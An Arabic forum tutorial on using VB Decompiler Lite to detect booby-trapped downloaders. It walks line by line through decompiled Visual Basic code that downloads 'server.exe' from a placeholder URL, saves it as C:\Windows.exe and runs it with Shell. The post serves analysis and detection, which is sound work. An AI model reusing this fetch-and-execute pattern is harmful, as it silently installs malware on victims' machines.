development-point - الدرس الثامن : كشف تلغيمات الداونلود عبر آدآة [ VB Decompiler Lite ]

،

- الـُمقدمـة :
آلسلآم عليكمُ ورحمة آلله وبركآتة

عندما تكون الحروف تائهة علي الشفاه فيعقد معها الكلام ينبثق الشعر فيتغلغل الدفْ إلى الأعماق
يتسرب من ثقوب الأيام مزيج من عطر الأمسيات الباقية وتتفتح زهيرات للأمل وتطير الحروف حتى

تنبلج في الفضاء ونـمنحكن ضوءاً مشمساً أجمل من النهار فننسج من خيوط الشمس و نسطر
الشعر بلا كلمات ونقدم للأيام بهائها وللحنين تألقه نزداد ابتهاجاً .

http://im30.gulfup.com/Uir96.png

[ .. الموضوع .. ]

كشف تلغيمات الداونلود عبر آدآة [ VB Decompiler Lite ] .

| ---------------------------------------------------------------------|

تحميلَ آدآة : [ VB Decompiler Lite ] .

http://im28.gulfup.com/5Sks1.png

عند الانتهاء من التثبيت

ملاحظة : هذا البرنامج لتحليل تلغيمات فجول بيسك

http://im17.gulfup.com/ETZO2.gif

http://im17.gulfup.com/OlMw3.gif

http://dc11.arabsh.com/i/03197/1v9iny0q1ipo.gif

[ .. شرح آلآكوآد .. ]

[ Dim coder As Object ] : تعريف متغير من نوع آبجيكت .
[ Dim Lol() As Byte ] : تعريفَ متغير منَ نوع بآيتَ .
[ Dim UR As String ] : تعريف متغير نصي آو رقمي .
[ Dim DIR As String ] : تعريف متغير نصَي آو رقميَ .
[ UR = "xxx /server.exe ] : آدخآل قيمة آلرآبط آلي متغير نصي بآسم [ UR ] .
[ DIR = "C:\Windows.exe ] : آدخآل قيمة مسآر نزول آلسيرفرَ آليَ متغير نصيَ
بآسمَ [ DIR ] .
............................................................
[ Set coder = CreateObject("InetCtls.Inet") ] : تقوم بآرسآل قيمة آلموضوع آليَ مكتبة آدآة [ Inet ] .
[ Lol() = coder.OpenURL(UR, icByteArray) ] : تعريف آلتقسيم آلي فتح آلرآبط وتحميل آلملف تلقآئيآ في آلعمليآت .
[ Open DIR For Binary Access Write As #1 ] : فتح آلمسآر حتى يقوم بتكوينَ آلسيرفرَ وجعلة في وضعية آلتعديلَ .
[ Put #1, 1, Lol() ] : تقوم بوضع بيانات التقسيم اللذي فتحناة من الرابط ووضعناة في [ Lol() ] .
[ Close #1 ] : تغلق الجلسة حتى لآ تواجه مشآكلَ وآرتبآطآت .
[ S h e ll DIR ] : هنا تقوم بتشغيل مسآر آلسيرفر مع آلسيرفر نفسة بعد تنزيلة ووضع آلبيآنآت .
[ End ] : آنهآء عمل آلداونلودَ لآن آلسيرفرَ آشتغل فلآ دآعي لوجودة .

http://dc11.arabsh.com/i/03197/1v9iny0q1ipo.gif

[ Finish ]

http://im30.gulfup.com/Uir96.png

اتمنى اني وفقت بالشرح تحياتي للجميع

اخوكم + محبكم

جنرال